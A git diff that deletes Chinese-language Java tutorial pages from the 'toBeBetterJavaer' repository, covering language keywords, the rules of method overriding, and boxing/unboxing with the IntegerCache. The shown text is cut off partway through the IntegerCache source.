-- 特殊值:变量 x、y 和 z 分别存储了正无穷(+∞)、负无穷(-∞)和非数值(NaN)。这些特殊值是由除法运算产生的,当被除数为 0 或结果无法表示时,会返回相应的特殊值。
-
-## 39、super:
-
-可用于[调用父类的方法或者字段](https://javabetter.cn/oo/this-super.html)。
-
-```java
-class Animal {
- protected String name;
-
- public Animal(String name) {
- this.name = name;
- }
-
- public void eat() {
- System.out.println(name + " is eating.");
- }
-}
-
-public class Dog extends Animal {
- public Dog(String name) {
- super(name); // 调用父类的构造方法
- }
-
- public void bark() {
- System.out.println(name + " is barking.");
- }
-
- public void eat() {
- super.eat(); // 调用父类的方法
- System.out.println(name + " is eating bones.");
- }
-}
-```
-
-## 40、switch:
-
-用于根据某个变量的值选择执行不同的代码块。switch 语句通常与 case 和 default 一起使用。每个 case 子句表示一个可能的值和对应的代码块,而 default 子句用于处理不在 case 子句中的值。
-
-```java
-public class Main {
- public static void main(String[] args) {
- int dayOfWeek = 3;
-
- switch (dayOfWeek) {
- case 1:
- System.out.println("Monday");
- break;
- case 2:
- System.out.println("Tuesday");
- break;
- case 3:
- System.out.println("Wednesday");
- break;
- case 4:
- System.out.println("Thursday");
- break;
- case 5:
- System.out.println("Friday");
- break;
- case 6:
- System.out.println("Saturday");
- break;
- case 7:
- System.out.println("Sunday");
- break;
- default:
- System.out.println("Invalid day");
- break;
- }
- }
-}
-```
-
-在这个示例中,我们定义了一个名为 dayOfWeek 的整数变量,并赋予了一个值。然后,我们使用 switch 语句根据 dayOfWeek 的值来输出对应的星期几。每个 case 子句表示 dayOfWeek 可能的值,后面紧跟着要执行的代码。使用 break 语句跳出 switch 语句,避免执行其他 case 子句的代码。如果 dayOfWeek 的值不在 case 子句中,default 子句将被执行。
-
-## 41、synchronized:
-
-[用于指定多线程代码中的同步方法、变量或者代码块](https://javabetter.cn/thread/synchronized-1.html)。
-
-```java
-public class MyClass {
- private int count;
-
- public synchronized void increment() {
- count++; // 同步方法
- }
-
- public void doSomething() {
- synchronized(this) { // 同步代码块
- // 执行一些需要同步的操作
- }
- }
-}
-```
-
-## 42、this:
-
-[可用于在方法或构造方法中引用当前对象](https://javabetter.cn/oo/this-super.html)。
-
-```java
-public class MyClass {
- private int num;
-
- public MyClass(int num) {
- this.num = num; // 使用 this 关键字引用当前对象的成员变量
- }
-
- public void doSomething() {
- System.out.println("Doing something with " + this.num); // 使用 this 关键字引用当前对象的成员变量
- }
-
- public MyClass getThis() {
- return this; // 返回当前对象本身
- }
-}
-```
-
-在这个示例中,MyClass 类有一个私有成员变量 num,并定义了一个构造方法、一个方法和一个返回当前对象的方法。在构造方法中,使用 this 关键字引用当前对象的成员变量,并将传入的参数赋值给该成员变量。在方法 `doSomething()` 中,使用 this 关键字引用当前对象的成员变量,并输出该成员变量的值。在方法 `getThis()` 中,直接返回当前对象本身。
-
-## 43、throw:
-
-主动抛出[异常](https://javabetter.cn/exception/gailan.html)。
-
-```java
-public class MyClass {
- public void doSomething(int num) throws Exception {
- if (num < 0) {
- throw new Exception("num must be greater than zero"); // 手动抛出异常
- }
- // 执行一些操作
- }
-}
-```
-
-## 44、throws:
-
-用于声明异常。
-
-```java
-public class MyClass {
- public void doSomething(int num) throws Exception {
- if (num < 0) {
- throw new Exception("num must be greater than zero"); // 手动抛出异常
- }
- // 执行一些操作
- }
-}
-```
-
-## 45、transient:
-
-[修饰的字段不会被序列化](https://javabetter.cn/io/transient.html)。
-
-```java
-public class MyClass implements Serializable {
- private int id;
- private String name;
- private transient String password;
-
- public MyClass(int id, String name, String password) {
- this.id = id;
- this.name = name;
- this.password = password;
- }
-
- // 省略 getter 和 setter 方法
-
- @Override
- public String toString() {
- return "MyClass{" +
- "id=" + id +
- ", name='" + name + '\'' +
- ", password='" + password + '\'' +
- '}';
- }
-}
-```
-
-在这个示例中,MyClass 类实现了 Serializable 接口,表示该类的对象可以被序列化。该类有三个成员变量,分别是 id、name 和 password。其中,password 成员变量被标记为 transient,表示在序列化过程中忽略这个成员变量。
-
-## 45、try:
-
-用于包裹要捕获异常的代码块。
-
-```java
-try {
- // 可能抛出异常的代码
- int result = 1 / 0;
-} catch (Exception e) {
- // 异常处理代码
- e.printStackTrace();
-}
-```
-
-## 46、void:
-
-用于指定方法没有返回值。
-
-```java
-public void doSomething() {
- // 方法体
-}
-```
-
-## 47、volatile:
-
-保证不同线程对它修饰的变量进行操作时的[可见性](https://javabetter.cn/thread/volatile.html),即一个线程修改了某个变量的值,新值对其他线程来说是立即可见的。
-
-```java
-public class MyThread extends Thread {
- private volatile boolean running = true;
-
- @Override
- public void run() {
- while (running) {
- // 线程执行的代码
- }
- }
-
- public void stopThread() {
- running = false;
- }
-}
-```
-
-在这个示例中,MyThread 类继承了 Thread 类,重写了 `run()` 方法。MyThread 类有一个成员变量 running,被标记为 volatile,表示这个变量是共享的,可能会被多个线程同时访问。在 `run()` 方法中,使用 while 循环检查 running 变量的值,如果 running 为 true,就继续执行循环体中的代码。在另一个方法 `stopThread()` 中,将 running 变量的值设置为 false,表示需要停止线程。
-
-## 48、while:
-
-如果循环次数不固定,建议使用 while 循环。
-
-```java
-int i = 0;
-while (i < 10) {
- System.out.println(i);
- i++;
-}
-```
-
-
-
-“好了,三妹,关于 Java 中的关键字就先说这 48 个吧,这只是一个大概的介绍,后面还会对一些特殊的关键字单独拎出来详细地讲,比如说重要的 static、final 等等,有链接的都是后面会详细讲的。”转动了一下僵硬的脖子后,我对三妹说。
-
-## 49、goto 和 const:
-
-“除了这些关键字,Java 中还有两个非常特殊的保留字(goto 和 const),它们不能在程序中使用。”
-
-“goto 在 C语言中叫做‘无限跳转’语句,在 Java 中,不再使用 goto 语句,因为无限跳转会破坏程序结构。”
-
-Java 中确实可以使用标签(label)与 break 和 continue 语句结合来实现类似 goto 的跳转功能。以下是一个简单的示例:
-
-```java
-public class LabelDemo {
- public static void main(String[] args) {
- outerLoop:
- for (int i = 0; i < 3; i++) {
- for (int j = 0; j < 3; j++) {
- if (i == 1 && j == 1) {
- System.out.println("跳过 outerLoop 中的当前迭代");
- continue outerLoop;
- }
- System.out.println("i: " + i + ", j: " + j);
- }
- }
- System.out.println("结束");
- }
-}
-```
-
-在这个示例中,我们使用了两层嵌套循环。外层循环有一个名为 outerLoop 的标签。当 i 等于 1 且 j 等于 1 时,我们使用 continue outerLoop 语句跳过外层循环中的当前迭代。这与 goto 的行为类似。
-
-来看输出结果:
-
-```
-i: 0, j: 0
-i: 0, j: 1
-i: 0, j: 2
-i: 1, j: 0
-跳过 outerLoop 中的当前迭代
-i: 2, j: 0
-i: 2, j: 1
-i: 2, j: 2
-结束
-```
-
-尽管可以使用标签实现类似 goto 的跳转功能,但这种用法在 Java 中仍然较少见,因为过度使用可能导致代码难以理解和维护。通常建议尽可能使用其他控制结构(如 if、for 和 while 语句)来组织代码。
-
-以下是一个使用 if 和 for 语句替代标签跳转的示例。在这个示例中,我们使用了一个布尔变量 skipIteration 来决定是否跳过外层循环的当前迭代:
-
-```java
-public class IfForDemo {
- public static void main(String[] args) {
- for (int i = 0; i < 3; i++) {
- boolean skipIteration = false;
- for (int j = 0; j < 3; j++) {
- if (i == 1 && j == 1) {
- System.out.println("跳过外层循环中的当前迭代");
- skipIteration = true;
- break;
- }
- System.out.println("i: " + i + ", j: " + j);
- }
- if (skipIteration) {
- continue;
- }
- }
- }
-}
-```
-
-在这个示例中,当 i 等于 1 且 j 等于 1 时,我们将 skipIteration 设置为 true,然后使用 break 语句跳出内层循环。在外层循环中,我们检查 skipIteration 变量的值,如果为 true,则跳过外层循环的当前迭代。
-
-这个示例的输出结果与之前的示例相同:
-
-```
-i: 0, j: 0
-i: 0, j: 1
-i: 0, j: 2
-i: 1, j: 0
-跳过外层循环中的当前迭代
-i: 2, j: 0
-i: 2, j: 1
-i: 2, j: 2
-```
-
-“const 在 [C语言](https://javabetter.cn/xuexiluxian/c.html)中是声明常量的关键字,在 Java 中可以使用 public static final 三个关键字的组合来达到常量的效果。”
-
-```java
-public class Circle {
- public static final double PI = 3.14159;
-
- public static double calculateArea(double radius) {
- return PI * radius * radius;
- }
-}
-```
-
-在这个示例中,我们使用 public static final 关键字组合定义了一个名为 PI 的常量。因为它是 public 的,所以其他类可以访问这个常量。因为它是 static 的,所以它与类关联,而不是类的实例。因为它是 final 的,所以它的值不能被更改。
-
-“好的二哥,我了解了,你休息会,我再记一记。”
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
-
diff --git a/docs/src/basic-extra-meal/Overriding.md b/docs/src/basic-extra-meal/Overriding.md
deleted file mode 100644
index 3909563477..0000000000
--- a/docs/src/basic-extra-meal/Overriding.md
+++ /dev/null
@@ -1,334 +0,0 @@
----
-title: Java重写(Overriding)时应当遵守的11条规则
-shortTitle: 重写时应当遵守的11条规则
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,Java重写(Overriding)时应当遵守的11条规则
-head:
- - - meta
- - name: keywords
- content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,重写,Overriding
----
-
-
-重写(Overriding)算是 Java 中一个非常重要的概念,理解重写到底是什么对每个 Java 程序员来说都至关重要,这篇文章就来给大家说说重写过程中应当遵守的 12 条规则。
-
-## 01、什么是重写?
-
-重写带来了一种非常重要的能力,可以让子类重新实现从超类那继承过来的方法。在下面这幅图中,Animal 是父类,Dog 是子类,Dog 重新实现了 `move()` 方法用来和父类进行区分,毕竟狗狗跑起来还是比较有特色的。
-
-
-
-重写的方法和被重写的方法,不仅方法名相同,参数也相同,只不过,方法体有所不同。
-
-## 02、哪些方法可以被重写?
-
-### **规则一:只能重写继承过来的方法**。
-
-因为重写是在子类重新实现从父类继承过来的方法时发生的,所以只能重写继承过来的方法,这很好理解。这就意味着,只能重写那些被 public、protected 或者 default 修饰的方法,private 修饰的方法无法被重写。
-
-Animal 类有 `move()`、`eat()` 和 `sleep()` 三个方法:
-
-```java
-public class Animal {
- public void move() { }
-
- protected void eat() { }
-
- void sleep(){ }
-}
-```
-
-Dog 类来重写这三个方法:
-
-```java
-public class Dog extends Animal {
- public void move() { }
-
- protected void eat() { }
-
- void sleep(){ }
-}
-```
-
- OK,完全没有问题。但如果父类中的方法是 private 的,就行不通了。
-
-```java
-public class Animal {
- private void move() { }
-}
-```
-
-此时,Dog 类中的 `move()` 方法就不再是一个重写方法了,因为父类的 `move()` 方法是 private 的,对子类并不可见。
-
-```java
-public class Dog extends Animal {
- public void move() { }
-}
-```
-
-## 03、哪些方法不能被重写?
-
-### **规则二:final、static 的方法不能被重写**。
-
-一个方法是 final 的就意味着它无法被子类继承到,所以就没办法重写。
-
-```java
-public class Animal {
- final void move() { }
-}
-```
-
-由于父类 Animal 中的 `move()` 是 final 的,所以子类在尝试重写该方法的时候就出现编译错误了!
-
-
-
-同样的,如果一个方法是 static 的,也不允许重写,因为静态方法可用于父类以及子类的所有实例。
-
-```java
-public class Animal {
- final void move() { }
-}
-```
-
-重写的目的在于根据对象的类型不同而表现出多态,而静态方法不需要创建对象就可以使用。没有了对象,重写所需要的“对象的类型”也就没有存在的意义了。
-
-
-
-## 04、重写方法的要求
-
-### **规则三:重写的方法必须有相同的参数列表**。
-
-```java
-public class Animal {
- void eat(String food) { }
-}
-```
-
-Dog 类中的 `eat()` 方法保持了父类方法 `eat()` 的同一个调调,都有一个参数——String 类型的 food。
-
-```java
-public class Dog extends Animal {
- public void eat(String food) { }
-}
-```
-
-一旦子类没有按照这个规则来,比如说增加了一个参数:
-
-```java
-public class Dog extends Animal {
- public void eat(String food, int amount) { }
-}
-```
-
-这就不再是重写的范畴了,当然也不是重载的范畴,因为重载考虑的是同一个类。
-
-**规则四:重写的方法必须返回相同的类型**。
-
-父类没有返回类型:
-
-```java
-public class Animal {
- void eat(String food) { }
-}
-```
-
-子类尝试返回 String:
-
-```java
-public class Dog extends Animal {
- public String eat(String food) {
- return null;
- }
-}
-```
-
-于是就编译出错了(返回类型不兼容)。
-
-
-
-### **规则五:重写的方法不能使用限制等级更严格的权限修饰符**。
-
-可以这样来理解:
-
-- 如果被重写的方法是 default,那么重写的方法可以是 default、protected 或者 public。
-- 如果被重写的方法是 protected,那么重写的方法只能是 protected 或者 public。
-- 如果被重写的方法是 public, 那么重写的方法就只能是 public。
-
-举个例子,父类中的方法是 protected:
-
-```java
-public class Animal {
- protected void eat() { }
-}
-```
-
-子类中的方法可以是 public:
-
-```java
-public class Dog extends Animal {
- public void eat() { }
-}
-```
-
-如果子类中的方法用了更严格的权限修饰符,编译器就报错了。
-
-
-
-### **规则六:重写后的方法不能抛出比父类中更高级别的异常**。
-
-举例来说,如果父类中的方法抛出的是 IOException,那么子类中重写的方法不能抛出 Exception,可以是 IOException 的子类或者不抛出任何异常。这条规则只适用于可检查的异常。
-
-可检查(checked)异常必须在源代码中显式地进行捕获处理,不检查(unchecked)异常就是所谓的运行时异常,比如说 NullPointerException、ArrayIndexOutOfBoundsException 之类的,不会在编译器强制要求。
-
-父类抛出 IOException:
-
-```java
-public class Animal {
- protected void eat() throws IOException { }
-}
-```
-
-子类抛出 FileNotFoundException 是可以满足重写的规则的,因为 FileNotFoundException 是 IOException 的子类。
-
-```java
-public class Dog extends Animal {
- public void eat() throws FileNotFoundException { }
-}
-```
-
-如果子类抛出了一个新的异常,并且是一个 checked 异常:
-
-```java
-public class Dog extends Animal {
- public void eat() throws FileNotFoundException, InterruptedException { }
-}
-```
-
-那编译器就会提示错误:
-
-```
-Error:(9, 16) java: com.itwanger.overriding.Dog中的eat()无法覆盖com.itwanger.overriding.Animal中的eat()
- 被覆盖的方法未抛出java.lang.InterruptedException
-```
-
-但如果子类抛出的是一个 unchecked 异常,那就没有冲突:
-
-```java
-public class Dog extends Animal {
- public void eat() throws FileNotFoundException, IllegalArgumentException { }
-}
-```
-
-如果子类抛出的是一个更高级别的异常:
-
-```java
-public class Dog extends Animal {
- public void eat() throws Exception { }
-}
-```
-
-编译器同样会提示错误,因为 Exception 是 IOException 的父类。
-
-```
-Error:(9, 16) java: com.itwanger.overriding.Dog中的eat()无法覆盖com.itwanger.overriding.Animal中的eat()
- 被覆盖的方法未抛出java.lang.Exception
-```
-
-## 05、如何调用被重写的方法?
-
-### **规则七:可以在子类中通过 super 关键字来调用父类中被重写的方法**。
-
-子类继承父类的方法而不是重新实现是很常见的一种做法,在这种情况下,可以按照下面的形式调用父类的方法:
-
-```java
-super.overriddenMethodName();
-```
-
-来看例子。
-
-```java
-public class Animal {
- protected void eat() { }
-}
-```
-
-子类重写了 `eat()` 方法,然后在子类的 `eat()` 方法中,可以在方法体的第一行通过 `super.eat()` 调用父类的方法,然后再增加属于自己的代码。
-
-```java
-public class Dog extends Animal {
- public void eat() {
- super.eat();
- // Dog-eat
- }
-}
-```
-
-## 06、重写和构造方法
-
-### **规则八:构造方法不能被重写**。
-
-因为构造方法很特殊,而且子类的构造方法不能和父类的构造方法同名(类名不同),所以构造方法和重写之间没有任何关系。
-
-## 07、重写和抽象方法
-
-### **规则九:如果一个类继承了抽象类,抽象类中的抽象方法必须在子类中被重写**。
-
-先来看这样一个接口类:
-
-```java
-public interface Animal {
- void move();
-}
-```
-
-接口中的方法默认都是抽象方法,通过反编译是可以看得到的:
-
-```java
-public interface Animal
-{
- public abstract void move();
-}
-```
-
-如果一个抽象类实现了 Animal 接口,`move()` 方法不是必须被重写的:
-
-```java
-public abstract class AbstractDog implements Animal {
- protected abstract void bark();
-}
-```
-
-但如果一个类继承了抽象类 AbstractDog,那么 Animal 接口中的 `move()` 方法和抽象类 AbstractDog 中的抽象方法 `bark()` 都必须被重写:
-
-```java
-public class BullDog extends AbstractDog {
-
- public void move() {}
-
- protected void bark() {}
-}
-```
-
-## 08、重写和 synchronized 方法
-
-### **规则十:synchronized 关键字对重写规则没有任何影响**。
-
-synchronized 关键字用于在多线程环境中获取和释放监听对象,因此它对重写规则没有任何影响,这就意味着 synchronized 方法可以去重写一个非同步方法。
-
-## 09、重写和 strictfp 方法
-
-### **规则十一:strictfp 关键字对重写规则没有任何影响**。
-
-如果你想让浮点运算更加精确,而且不会因为硬件平台的不同导致执行的结果不一致的话,可以在方法上添加 strictfp 关键字。因此 strictfp 关键和重写规则无关。
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
diff --git a/docs/src/basic-extra-meal/box.md b/docs/src/basic-extra-meal/box.md
deleted file mode 100644
index 8d5dbc8f93..0000000000
--- a/docs/src/basic-extra-meal/box.md
+++ /dev/null
@@ -1,401 +0,0 @@
----
-title: 深入浅出Java拆箱与装箱:理解自动类型转换与包装类的关系
-shortTitle: 拆箱和装箱
-category:
- - Java核心
-tag:
- - Java重要知识点
-description: 拆箱与装箱是Java自动类型转换的重要概念。拆箱是将包装类对象转换为其对应的基本数据类型,而装箱是将基本数据类型转换为相应的包装类对象。本文详细介绍了拆箱和装箱的过程、原理以及Java中的包装类,以帮助您更好地理解这两个概念
-author: 沉默王二
-head:
- - - meta
- - name: keywords
- content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,装箱,拆箱,包装类型,基本数据类型,自动装箱,自动拆箱
----
-
-“哥,听说 Java 的每个[基本数据类型](https://javabetter.cn/basic-grammar/basic-data-type.html)都对应了一个包装类型,比如说 int 的包装类型为 Integer,double 的包装类型为 Double,是这样吗?”从三妹这句话当中,能听得出来,她已经提前预习这块内容了。
-
-“是的,三妹。”我接着三妹的问题回答说。
-
-- Java 是面向对象的编程语言,但为了提升程序的运行效率,所以 Java 搞出来了基本数据类型这套东西,比如说 int、double、boolean 等等。后面我会讲为什么。
-- 但是,基本数据类型又不能满足所有的应用场景,比如说,我们定义一个 int 类型的 ArrayList,你就只能用 `List list = new ArrayList<>();` 这种方式来定义,不能用 `List list = new ArrayList<>();` 这种方式来定义,因为[泛型](https://javabetter.cn/basic-extra-meal/generic.html)不支持基本数据类型。后面我也会讲为什么。
-
-那既然存在基本数据类型,又存在包装类型,它们之间肯定存在一些使用上的差异,以及在某些场景下需要进行类型转换。这就是今天我们要讲的拆箱和装箱。
-
-拆箱就是将包装类型对象转换为其对应的基本数据类型,而装箱则是将基本数据类型转换为相应的包装类型对象。
-
-示例代码如下:
-
-```java
-Integer chenmo = new Integer(10); // 装箱
-int wanger = chenmo.intValue(); // 拆箱
-```
-
-### 包装类型和基本数据类型之间的区别
-
-好,接下来我们先来介绍一下包装类型和基本数据类型之间的区别。
-
-#### 包装类型可以为 null,而基本数据类型不可以
-
-别小看这一点区别,这使得包装类型可以应用于 POJO 中,而基本数据类型则不行。
-
-POJO 是什么呢?
-
-POJO 的英文全称是 Plain Ordinary Java Object,翻译一下就是,简单无规则的 Java 对象,只有字段以及对应的 setter 和 getter 方法。来看下面这段代码:
-
-```java
-class Writer {
- private Integer age;
- private String name;
-
- public Integer getAge() {
- return age;
- }
-
- public void setAge(Integer age) {
- this.age = age;
- }
-
- public String getName() {
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- }
-}
-```
-
-这就是一个非常纯粹,非常典型的 POJO,在我们编写的 Java 应用程序中会经常用到。
-
-“哥,你说的 POJO 是不是就是 JavaBean 啊?”三妹这时候追问道。
-
-“是的,如果定义没那么严格的话,JavaBean 也是一种 POJO。”
-
-和 POJO 类似的,还有:
-
-- 数据传输对象 DTO(Data Transfer Object,泛指用于展示层与服务层之间的数据传输对象)
-- 视图对象 VO(View Object,把某个页面的数据封装起来)
-- 持久化对象 PO(Persistant Object,可以看成是与数据库中的表映射的 Java 对象)。
-
-[技术派实战项目](https://github.com/itwanger/paicoding)当中就有大量 POJO,我截图大家感受下,工作后其实会经常碰到。
-
-
-
-只不过,我们不再写 setter 和 getter 方法,而是使用 [Lombok](https://javabetter.cn/springboot/lombok.html) 来自动生成。也就是上图当中的 `@Data` 注解。
-
-“那为什么 POJO 的字段必须要用包装类型呢?”三妹又追问道。
-
-“《[阿里巴巴 Java 开发手册](https://javabetter.cn/pdf/ali-java-shouce.html)》上有详细的说明,你看。”我打开 PDF,并翻到了对应的内容,指着屏幕念道。
-
->数据库的查询结果可能是 null,如果使用基本数据类型的话,因为要自动拆箱,就会抛出 [NullPointerException 的异常](https://javabetter.cn/exception/npe.html)。
-
-“什么是自动拆箱呢?”
-
-“自动拆箱指的是,将包装类型转为基本数据类型,比如说把 Integer 对象转换成 int 值;对应的,把基本数据类型转为包装类型,则称为自动装箱。”
-
-“哦。”
-
-#### 包装类型可用于泛型,而基本数据类型不可以
-
-“那接下来,我们来看第二点不同。**包装类型可用于泛型,而基本数据类型不可以**,否则就会出现编译错误。”一边说着,我一边在 Intellij IDEA 中噼里啪啦地敲了起来。
-
-“三妹,你瞧,编译器提示错误了。”
-
-```java
-List list = new ArrayList<>(); // 提示 Syntax error, insert "Dimensions" to complete ReferenceType
-List list = new ArrayList<>();
-```
-
-“为什么呢?”三妹及时地问道。
-
-“因为[泛型](https://javabetter.cn/basic-extra-meal/generic.html)在编译时会进行类型擦除,最后只保留原始类型,而原始类型只能是 Object 类及其子类——基本数据类型是个例外。”
-
-这个我们在讲[泛型](https://javabetter.cn/basic-extra-meal/generic.html)的时候,也有详细讲过,你应该还记得吧?
-
-“嗯,我记得。”
-
-#### 基本数据类型比包装类型更高效
-
-“哥,你之前说到,Java 搞出来了基本数据类型这套东西,是为了提升程序的运行效率,为什么呢?”三妹又追问道。
-
-那这里其实就是为了讲这个问题。
-
-“好,接下来,我们来说第三点,**基本数据类型比包装类型更高效**。”我喝了一口布丁奶茶后继续说道。
-
-“作为局部变量时,基本数据类型在栈中直接存储的具体数值,而包装类型则存储的是堆中的引用。”我一边说着,一边打开 [`draw.io`](https://app.diagrams.net/) 画起了图。
-
-
-
->关于堆和栈的知识,我们会在讲 [JVM 运行时数据区](https://javabetter.cn/jvm/neicun-jiegou.html)的时候详细讲解。
-
-很显然,相比较于基本类型而言,包装类型需要占用更多的内存空间。
-
-- 基本数据类型:仅占用足够存储其值的固定大小的内存。例如,一个 int 值占用 4 字节。
-- 包装类型:占用的内存空间要大得多,因为它们是对象,并且要存储对象的元数据。例如,一个 Integer 对象占用 16 字节。
-
-并且不仅要存储对象,还要存储引用。假如没有基本数据类型的话,对于数值这类经常使用到的数据来说,每次都要通过 new 一个包装类型就显得非常笨重。
-
-我们通过一个简单的例子来印证这一点:
-
-```java
-public class MemoryUsageTest {
-
- public static void main(String[] args) {
- Runtime runtime = Runtime.getRuntime();
- long memoryBefore, memoryAfter;
- int size = 1000000;
-
- // 测试基本类型 int 的内存占用
- runtime.gc();
- memoryBefore = runtime.totalMemory() - runtime.freeMemory();
- int[] intArray = new int[size];
- memoryAfter = runtime.totalMemory() - runtime.freeMemory();
- System.out.println("基本数据类型数组占用内存: " + (memoryAfter - memoryBefore));
-
- // 测试包装类型 Integer 的内存占用
- runtime.gc();
- memoryBefore = runtime.totalMemory() - runtime.freeMemory();
- Integer[] integerArray = new Integer[size];
- for (int i = 0; i < size; i++) {
- integerArray[i] = i; // 自动装箱
- }
- memoryAfter = runtime.totalMemory() - runtime.freeMemory();
- System.out.println("包装类型数组占用内存空间: " + (memoryAfter - memoryBefore));
- }
-}
-```
-
-创建 100万个数组,一个用基本数据类型,一个用包装类型,然后比较它们的内存占用情况。
-
-```
-基本数据类型数组占用内存: 5342192
-包装类型数组占用内存空间: 22790672
-```
-
-可以看得出来,基本数据类型数组占用的内存空间比包装类型的少了一个数量级。当然了,这种方法没那么严谨,但多少能说明一些问题。
-
-#### 不同类型数据存储的位置
-
-“三妹,你想知道程序运行时,数据都存储在什么地方吗?”
-
-“嗯嗯,哥,你说说呗。”
-
-“通常来说,有 4 个地方可以用来存储数据。”
-
-1)寄存器。这是最快的存储区,因为它位于 CPU 内部,用来暂时存放参与运算的数据和运算结果。
-
-2)栈。位于 RAM(Random Access Memory,也叫主存,与 CPU 直接交换数据的内部存储器)中,速度仅次于寄存器。但是,在分配内存的时候,存放在栈中的数据大小与生存周期必须在编译时是确定的,缺乏灵活性。基本数据类型的值和对象的引用通常存储在这块区域。
-
-3)堆。也位于 RAM 区,可以动态分配内存大小,编译器不必知道要从堆里分配多少存储空间,生存周期也不必事先告诉编译器,Java 的垃圾收集器会自动收走不再使用的数据,因此可以得到更大的灵活性。但是,运行时动态分配内存和销毁对象都需要占用时间,所以效率比栈低一些。new 创建的对象都会存储在这块区域。
-
-4)磁盘。如果数据完全存储在程序之外,就可以不受程序的限制,在程序没有运行时也可以存在。像文件、数据库,就是通过持久化的方式,让对象存放在磁盘上。当需要的时候,再反序列化成程序可以识别的对象。
-
-“能明白吗?三妹?”
-
-“这节讲完后,我再好好消化一下。”
-
-“别担心,后面讲 [JVM 运行时数据区](https://javabetter.cn/jvm/neicun-jiegou.html)的时候也会重新讲到。”
-
-#### 包装类型的值可以相同,但却不相等
-
-“那好,我们来说第四点,**两个包装类型的值可以相同,但却不相等**。”
-
-```java
-Integer chenmo = new Integer(10);
-Integer wanger = new Integer(10);
-
-System.out.println(chenmo == wanger); // false
-System.out.println(chenmo.equals(wanger )); // true
-```
-
-“两个包装类型在使用“==”进行判断的时候,判断的是其指向的地址是否相等,由于是两个对象,所以地址是不同的。”
-
-“而 `chenmo.equals(wanger)` 的输出结果为 true,是因为 `equals()` 方法内部比较的是两个 int 值是否相等。”
-
-```java
-private final int value;
-
-public int intValue() {
- return value;
-}
-public boolean equals(Object obj) {
- if (obj instanceof Integer) {
- return value == ((Integer)obj).intValue();
- }
- return false;
-}
-```
-
-虽然 chenmo 和 wanger 的值都是 10,但他们并不相等。换句话说就是:将“==”操作符应用于包装类型比较的时候,其结果很可能会和预期的不符。
-
-### 自动装箱和自动拆箱
-
-“三妹,瞧,`((Integer)obj).intValue()` 这段代码就是用来拆箱的。不过这种属于手动拆箱,对应的还有一种自动拆箱,我们来详细地解释下。”
-
-既然有基本数据类型和包装类型,肯定有些时候要在它们之间进行转换。把基本数据类型转换成包装类型的过程叫做装箱(boxing)。反之,把包装类型转换成基本数据类型的过程叫做拆箱(unboxing)。
-
-在 Java 1.5 之前,开发人员要手动进行装拆箱,比如说:
-
-```java
-Integer chenmo = new Integer(10); // 手动装箱
-int wanger = chenmo.intValue(); // 手动拆箱
-```
-
-Java 1.5 为了减少开发人员的工作,提供了自动装箱与自动拆箱的功能。这下就方便了。
-
-```java
-Integer chenmo = 10; // 自动装箱
-int wanger = chenmo; // 自动拆箱
-```
-
-来看一下反编译后的代码。
-
-```java
-Integer chenmo = Integer.valueOf(10);
-int wanger = chenmo.intValue();
-```
-
-也就是说,自动装箱是通过 `Integer.valueOf()` 完成的;自动拆箱是通过 `Integer.intValue()` 完成的。
-
-“嗯,三妹,给你出一道面试题吧。”
-
-```java
-// 1)基本数据类型和包装类型
-int a = 100;
-Integer b = 100;
-System.out.println(a == b);
-
-// 2)两个包装类型
-Integer c = 100;
-Integer d = 100;
-System.out.println(c == d);
-
-// 3)
-c = 200;
-d = 200;
-System.out.println(c == d);
-```
-
-“给你 3 分钟时间,你先思考下,我去抽根华子,等我回来,然后再来分析一下为什么。”
-
-。。。。。。
-
-“嗯,哥,你过来吧,我说一说我的想法。”
-
-第一段代码,基本数据类型和包装类型进行 == 比较,这时候 b 会自动拆箱,直接和 a 比较值,所以结果为 true。
-
-第二段代码,两个包装类型都被赋值为了 100,这时候会进行自动装箱,按照你之前说的,将“==”操作符应用于包装类型比较的时候,其结果很可能会和预期的不符,我想结果可能为 false。
-
-第三段代码,两个包装类型重新被赋值为了 200,这时候仍然会进行自动装箱,我想结果仍然为 false。
-
-“嗯嗯,三妹,你分析的很有逻辑,但第二段代码的结果为 true,是不是感到很奇怪?”
-
-“为什么会这样呀?”三妹急切地问。
-
-### IntegerCache
-
-“你说的没错,自动装箱是通过 `Integer.valueOf()` 完成的,我们来看看这个方法的源码就明白为什么了。”
-
-```java
-public static Integer valueOf(int i) {
- if (i >= IntegerCache.low && i <= IntegerCache.high)
- return IntegerCache.cache[i + (-IntegerCache.low)];
- return new Integer(i);
-}
-```
-
-是不是看到了一个之前见过的类——[IntegerCache](https://javabetter.cn/basic-extra-meal/int-cache.html)?
-
-“难道说是 Integer 的缓存类?”三妹做出了自己的判断。
-
-“是的,来看一下 IntegerCache 的源码吧。”
-
-```java
-private static class IntegerCache {
- // 缓存的最小值,默认为 -128
- static final int low = -128;
-
- // 缓存的最大值,默认为 127,但可以通过 JVM 参数配置
- static final int high;
- static final Integer cache[];
-
- static {
- // 默认情况下 high 值为 127
- int h = 127;
-
- // 通过系统属性获取用户可能配置的更高的缓存上限
- // integerCacheHighPropValue 是一个字符串,代表配置的高值
- int i = parseInt(integerCacheHighPropValue);
-
- // 确保缓存的最高值至少为 127
